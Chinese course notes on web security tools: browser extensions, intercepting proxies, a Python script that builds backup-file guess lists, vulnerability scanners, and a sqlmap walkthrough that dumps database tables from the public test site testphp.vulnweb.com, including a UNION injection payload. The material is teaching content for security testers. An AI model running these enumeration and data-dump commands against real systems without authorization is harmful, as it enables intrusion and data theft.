web安全-03web安全工具

  • 一、浏览器和浏览器拓展初级
    • 1、浏览器
      • 1.1、浏览器安全特性与设置
      • 1.2、开发者工具展示
    • 2、浏览器扩展
      • 2.1、如何获取插件
      • 2.2、firefox常用插件
  • 二、代理抓包分析工具
    • 1、代理工作原理
    • 2、浏览器代理设置
    • 3、常用HTTP代理工具
  • 三、Web漏洞扫描工具初级
    • 1、敏感文件探测入门
      • 1.1、 常见敏感文件类型
      • 1.2、 敏感文件探测原理
      • 1.3、 实战用"御剑"扫描敏感文件
      • 1.4、改进思路
    • 2、漏洞扫描工具入门
      • 2.1、漏洞扫描工具简介
      • 2.2、漏洞扫描实践
      • 2.3、讨论与改进
    • 3、SQL注入漏洞测试入门
      • 3.1、sqlmap获取
      • 3.2、基本流程及用法
      • 3.3、sqlmap实战
      • 3.4、注意事项
    • 4、在线工具
      • 4.1、搜索引擎语法
      • 4.2、网络空间搜索
      • 4.3、在线web工具
  • 四、总结

工欲善其事必先利其器

一、浏览器和浏览器拓展初级

1、浏览器

1.1、浏览器安全特性与设置

不同浏览器安全特性存在差异,同一漏洞触发效果可能不同。漏洞测试常用浏览器的开发者工具、高级设置、隐身模式、查看源码(view-source:url)、查看DOM元素等功能。

1.2、开发者工具展示

2、浏览器扩展

2.1、如何获取插件

firefox的附加组件管理器,chrome的高级设置中的扩展程序等。

2.2、firefox常用插件

  1. firebug 网络与审查页面元素

  2. hackbar 构造数据包

  3. cookie manager 修改cookie值

  4. proxy switcher 更改浏览器代理设置。
    主要用于配置浏览器的代理。

二、代理抓包分析工具

1、代理工作原理

代理就像收费站

2、浏览器代理设置

  1. 浏览器自带的代理设置
  2. 使用浏览器插件proxy switcher 设置代理

3、常用HTTP代理工具

  1. burpsuite
  2. charles
  3. fiddler

三、Web漏洞扫描工具初级

1、敏感文件探测入门

1.1、 常见敏感文件类型

网站管理后台、数据文件、备份文件、webshell等

1.2、 敏感文件探测原理

猜测文件名,然后根据返回的http状态码判断文件是否存在,200文件存在、301文件发送跳转、404文件不存在。可参看http状态码详解,了解更多http码状态说明。

1.3、 实战用"御剑"扫描敏感文件


扫描 http://testphp.vulnweb.com/ 结果

1.4、改进思路

  1. 字典不是越大越好,要分类有针对性,提高效率,比如php类的针对php的网站,asp的针对asp的网站,可以使用网站index页面的后缀类型来简单判断网站的脚本类型。可借助python脚本AQQ批量网站工具集之目标网站脚本类型判断,来批量判断。
  2. 通用字典命中率差,可生成针对性字典,以构造针对性的备份文件的字典为例,python代码如下。

makeBackfilenames.py

#! /usr/bin/env python
#coding=utf-8# 搜集常见的文件名后缀类型,以及固定的一些文件名
suffixlist = ['.rar','.zip','.sql','.gz','.tar','.bz2','.tar.gz','.tar.bz2','.bak','.dat']
keyList = ['install','INSTALL','index','INDEX','ezweb','EZWEB','flashfxp','FLASHFXP']#请输入目标rul
print "Please input the URL:"
url = raw_input()if (url[:5] == 'http:'):url = url[:7].strip() # get right URL
if (url[:6] == 'https:'):url = url[:7].strip() # get right URLnumT = url.find('/')if (numT !=-1):url = url[:numT] #根据URL,推测一些针对性的文件名
num1 = url.find('.')
num2 = url.find('.',num1 + 1)
keyList.append(url[num1 + 1:num2])
keyList.append(url[num1 + 1:num2].upper())
keyList.append(url) #如 www.163.com
keyList.append(url.upper())
keyList.append(url.replace('.','_')) # www_163_com
keyList.append(url.replace('.','_').upper())
keyList.append(url.replace('.','')) #www163com
keyList.append(url.replace('.','').upper())
keyList.append(url[num1 + 1:]) # 163.com
keyList.append(url[num1 + 1:].upper())
keyList.append(url[num1 + 1:].replace('.','_')) # 163_com
keyList.append(url[num1 + 1:].replace('.','_').upper())# 生成字典列表,并写入文件“popBackfiles.txt”
tempList = []for key in keyList:for suff in suffixlist:tempList.append(key+suff)fobj = open("popBackfiles.txt","w")
for each in tempList:each = '/'+eachfobj.write('%s%s' % (each,'\n'))fobj.flush()print 'OK!'

2、漏洞扫描工具入门

2.1、漏洞扫描工具简介

漏洞扫描器是一批安全专家将自己积累的“测试手法”和“测试经验”自动化的产物,是宝贵智慧的结晶。综合性web漏洞扫描器有AWVS、Netsparker、AppScan等。
漏洞扫描器的扫描流程与基本原理如下

1扫描配置与目标基本信息探测
2爬虫爬取目标站点页面
3各个漏洞探测模块探测具体漏洞
4漏洞结果记录与呈现

其中2、3、4是并行运作的。

2.2、漏洞扫描实践

AWVS扫描结果

2.3、讨论与改进

问题1:使用漏洞扫描工具要明确的问题
1.可能对目标站点误伤,如高流量,请求了危险的功能,如删除数据库等。
2.逻辑漏洞是漏洞扫描的盲区,如订单金额数据篡改漏洞。

问题2:漏洞扫描工具对漏洞的评级不一定准确,因为从技术角度和业务角度,对同一个漏洞的危害程度判断不同。

问题3:漏洞扫描结果的解读和应用
1.漏扫工具的测试用例可能需要调整后才能复现
2.漏扫工具都存在误报和漏报
3.将扫描结果作为人工测试的线索

改进:尽信书则不如无书

3、SQL注入漏洞测试入门

3.1、sqlmap获取

可以通过sqlmap官网下载 http://sqlmap.org/,需要安装好python2.7。
sqlmap的dump文件目录在C:\Users\yourusername\.sqlmap\output\targetwebsite\dump\targetdatabase

3.2、基本流程及用法

1找到有数据库交互功能的页面
2判断页面是否存在sql注入
3利用sql注入漏洞读取数据
4导出所需数据并保存

小技巧:一般命令行参数,字母缩写前面是一个-,完整单词前面是两个–。

3.3、sqlmap实战

  1. 根据漏洞扫描器扫描到的有数据交互功能,且可能存在sql注入的页面,使用sqlmap进行判断,得出artist参数存在sql注入。
    python sqlmap.py -u http://testphp.vulnweb.com/artists.php?artist=1

  2. 使用–users 查看有哪些用户
    python sqlmap.py -u http://testphp.vulnweb.com/artists.php?artist=1 --users

  3. 使用–dbs 查看有哪些数据库
    python sqlmap.py -u http://testphp.vulnweb.com/artists.php?artist=1 --dbs

  4. 查看其它信息的命令

python sqlmap.py -u http://testphp.vulnweb.com/artists.php?artist=1 --current-user --current-db
[18:11:27] [INFO] fetching current user
current user: ‘acuart@localhost’
[18:11:27] [INFO] fetching current database
current database: ‘acuart’

python sqlmap.py -u http://testphp.vulnweb.com/artists.php?artist=1 --tables -D “acuart”
Database: acuart
[8 tables]
±----------+
| artists |
| carts |
| categ |
| featured |
| guestbook |
| pictures |
| products |
| users |
±----------+

python sqlmap.py -u http://testphp.vulnweb.com/artists.php?artist=1 --columns -T"users" -D “acuart”
Database: acuart
Table: users
[8 columns]
±--------±-------------+
| Column | Type |
±--------±-------------+
| address | mediumtext |
| cart | varchar(100) |
| cc | varchar(100) |
| email | varchar(100) |
| name | varchar(100) |
| pass | varchar(100) |
| phone | varchar(100) |
| uname | varchar(100) |
±--------±-------------+

python sqlmap.py -u http://testphp.vulnweb.com/artists.php?artist=1 --count -T"users" -D “acuart”
Database: acuart
±------±--------+
| Table | Entries |
±------±--------+
| users | 1 |
±------±--------+

python sqlmap.py -u http://testphp.vulnweb.com/artists.php?artist=1 --dump -T"users" -D “acuart”
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] n
do you want to crack them via a dictionary-based attack? [Y/n/q] n
Database: acuart
Table: users
[1 entry]
±-----------------±-----------±---------------------------------±-----±------±-------------±-----------------±--------+
| cc | name | cart | pass | uname | phone | email | address |
±-----------------±-----------±---------------------------------±-----±------±-------------±-----------------±--------+
| 4111111111111111 | h" and 1=1 | 404c1f7fdb7b2bd61bdf5a7da267d9da | test | test | 555-666-0606 | sample@email.tst | nnn |
±-----------------±-----------±---------------------------------±-----±------±-------------±-----------------±--------+

python sqlmap.py -u http://testphp.vulnweb.com/artists.php?artist=1 --count -T “products” -D “acuart”
Database: acuart
±---------±--------+
| Table | Entries |
±---------±--------+
| products | 3 |
±---------±--------+

python sqlmap.py -u http://testphp.vulnweb.com/artists.php?artist=1 --dump -T “products” -D “acuart” --start 2 --stop 3
Database: acuart
Table: products
[2 entries]
±—±-------------------------------------------±------±-------------------------------------------±------------------+
| id | name | price | description | rewritename |
±—±-------------------------------------------±------±-------------------------------------------±------------------+
| 2 | Web Camera A4Tech PK-335E | 10 | Web Camera A4Tech PK-335E | web-camera-a4tech |
| 3 | Laser Color Printer HP LaserJet M551dn, A4 | 812 | Laser Color Printer HP LaserJet M551dn, A4 | color-printer |
±—±-------------------------------------------±------±-------------------------------------------±------------------+

python sqlmap.py -u http://testphp.vulnweb.com/artists.php?artist=1 --dump-all -D “acuart”
dump文件目录内容如下:

5. 以上get方式已经演示完,post方式如下
方法1:首先利用抓包或者漏扫工具,将post方式的数据包保存下来

这里保存为sql_post.txt,内容如下
POST /userinfo.php HTTP/1.1
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
Referer: http://testphp.vulnweb.com/login.php
Connection: keep-alive
Upgrade-Insecure-Requests: 1

uname=test&pass=pwd

然后使用如下命令
python sqlmap.py -r “sql_post.txt”
结果如下
POST parameter ‘uname’ is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 156 HTTP(s) requests:
Parameter: uname (POST)
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: uname=-5095’ UNION ALL SELECT NULL,CONCAT(0x71786b7871,0x66556f6e7371706a765652754351474345416c4957724264754b5566755159534f57597670505568,0x7178766b71),NULL,NULL,NULL,NULL,NULL,NULL-- MUFR&pass=pwd

方法2:使用–data参数,将参数样例复制到data参数中即可
使用如下命令
python sqlmap.py -u http://testphp.vulnweb.com/userinfo.php --data=“uname=test&pass=pwd”
结果同方法1。

找到注入点后post和get方法的利用方式相同,此外还有cookie、header等也可能存在sql注入

3.4、注意事项

以上均是测试环境,展现了完整的从注入点判断到获取数据过程,实际环境中,确定注入点以及基本的信息即可,切不可非法获取数据

4、在线工具

4.1、搜索引擎语法

百度高级搜索举例

google hack
高级搜索

site搜索指定站点的页面

inurl搜索url中包含指定字符串的网址
intitile搜索网页标题中包含指定字符串的网址
intext搜索站点页面内容中具有关键字内容的网址

filetype搜索特定后缀名的文件

国际版bing,同IP站点的旁站查询功能

4.2、网络空间搜索

网络空间搜索引擎的基本原理:探测/爬取->识别/打标签->存储供检索。
万物互联:个人计算机和服务器,路由器,智能家电,平板电脑,手机,摄像头,工业控制设备等,如果把每一个接入互联网的设备看做一个节点,就构成了我们的网络空间。
撒旦:https://www.shodan.io/
钟馗之眼:https://www.zoomeye.org/
佛法:https://fofa.so/

4.3、在线web工具

https://whatweb.net/
http://www.ipip.net/
https://www.cmd5.net/
http://tool.chinaz.com/
https://www.anquanquan.info/

四、总结

同类工具,精于一,触类旁通。
要善于寻找和分享新的工具。
工具用之正则正,用之邪则邪。
要知其然,更要知其所以然,要思考工具的实现原理及其局限性。
不要依赖工具,要以我为主,为我所有,工具可以提高效率,但是实践中往往要敢于摆脱工具,手工测试。

web安全[网易白帽子课程笔记+体会]-03web安全工具相关推荐

  1. web安全[网易白帽子课程笔记+体会]-02web安全基础

    web安全-02web安全基础 一.无处不在的安全问题 1.钓鱼phishing 2.篡改网页tampering 3.暗链hidden hyperlinks 4.webshell 二.常见Web漏洞解 ...

  2. 网易白帽子黑客训练营笔记(1)

    网易白帽子黑客训练营笔记(1) 文章目录 网易白帽子黑客训练营笔记(1) web介绍 web发展史 web1.0: web2.0: 什么是web安全? web流程 浏览器 web通信 URL URL是 ...

  3. 网易白帽子黑客训练营笔记(2)

    网易白帽子黑客训练营笔记(2) 文章目录 网易白帽子黑客训练营笔记(2) WEB安全实战 安全测试之浏览器入门 安全测试常用功能: 浏览器插件 代理工具介绍 敏感文件探测入门 漏洞扫描工具入门 SQL ...

  4. 【白帽子学习笔记11】DVWA Brute Force【暴力破解】

    [白帽子学习笔记11]DVWA Brute Force Brute Force 就是暴力破解的意思,尝试常用的用户名和必然然后使用工具一个一个的去尝试 LOW级别 通过解析源码我们可以发现代码没有任何 ...

  5. python白帽子学习笔记(整合)

    python白帽子学习笔记(整合) 学习笔记目录 python白帽子学习笔记(整合) 前言 一.基础篇 1.正则表达式 2.列表 3.元组带上了枷锁的列表 4.奇葩的内置方法 5.格式化字符 6.序列 ...

  6. 【白帽子学习笔记14】SQL注入常用语句

    [白帽子学习笔记14]SQL注入常用语句 目前网站中使用的最多的数据库要算是 ACCESS.SQL Server(MSSQL).MySQL 这三个了,所以这里的手工注入,我就以他们三个数据库来分成三 ...

  7. 网易“白帽子黑客”训练营-视频教程

    白帽黑客是指白帽匿名者(white hat hacker),其又称为白帽子,是那些用自己的黑客技术来维护网络关系公平正义的黑客,测试网络和系统的性能来判定它们能够承受入侵的强弱程度. 互联网安全小兵养 ...

  8. 米斯特WEB安全攻防白帽子培训视频教程 网站安全检测培训教程 第二期

    [free] 乌云网已经被封了,这套教程是网络仅有的几套白帽子教程之一,有兴趣的朋友珍惜哦! [/free] 下载地址:百度网盘

  9. 网易web白帽子学习笔记

    部分转载他人 一.web基础知识 1.1.1web介绍 world wide web 万维网 web1.0 个人网站.门户站点  静态页面 web2.0 微博.博客交互式页面 随之而来有一些安全问题: ...

最新文章

  1. linux的ftp轮询上传文件,Android中实现异步轮询上传文件
  2. WordPress的插件激活实现
  3. datatables 展开 折叠_【图说新机】9月折叠屏、屏下摄像头新机同时上市,该怎么选?...
  4. 1.android体系结构介绍
  5. adb shell 修改文件名_shell修改文件名(一)
  6. 腾讯或推动斗鱼虎牙合并;拼多多推出“百亿补贴节”;Electron 9.2.0 发布| 极客头条
  7. Vue2.0 $set()处理数据更新但视图不更新的问题(给对象添加属性必须用this.$set(this.data,”key”,value’))
  8. Host '***' is blocked because of many connection errors...
  9. 【自动驾驶】LQR控制实现轨迹跟踪
  10. 51cto python数据分析系列课程 55g_Python 3 数据分析与挖掘系列课程完整版
  11. UIautomator2:APP自动化测试方法与小技巧记录(文末附实用APP测试脚本编写模板)
  12. 如何注册成为腾讯QQ互联个人开发者
  13. 人工智能AI工程师学习路线心路历程和总结分享
  14. linux升级失败无法启动应用程序,Ubuntu升级后无法启动 kernel panic - not syncing
  15. 忆享科技聚焦|数字经济、网络安全、5.5G、数字火炬手……热点资讯一览
  16. 必应精美壁纸一键全部下载
  17. ES 问题 拼音 en ou等词被拆分,导致搜不到
  18. Android系统OTA升级
  19. ISP和IAP的一些基本概念
  20. LTE:信道质量,HARQ的比较

热门文章

  1. 文心一言对于宣传文案理解
  2. 古剑飞仙手游Linux系统服务器架设教程
  3. 企业级用户画像:开发RFM模型实例
  4. 本地JAVA开发页面使用AzureAD(AAD)验证登录
  5. 魔方(7)五魔方、二阶五魔方
  6. oracle通过DBlink连接神通数据库方法教程
  7. 云课堂服务器技术支持,中学语音教室云课堂云服务器
  8. 二叉树的操作--递归与非递归
  9. Android借助bmob实现简单的登陆注册
  10. 笔记 | 推荐系统 —— lambda架构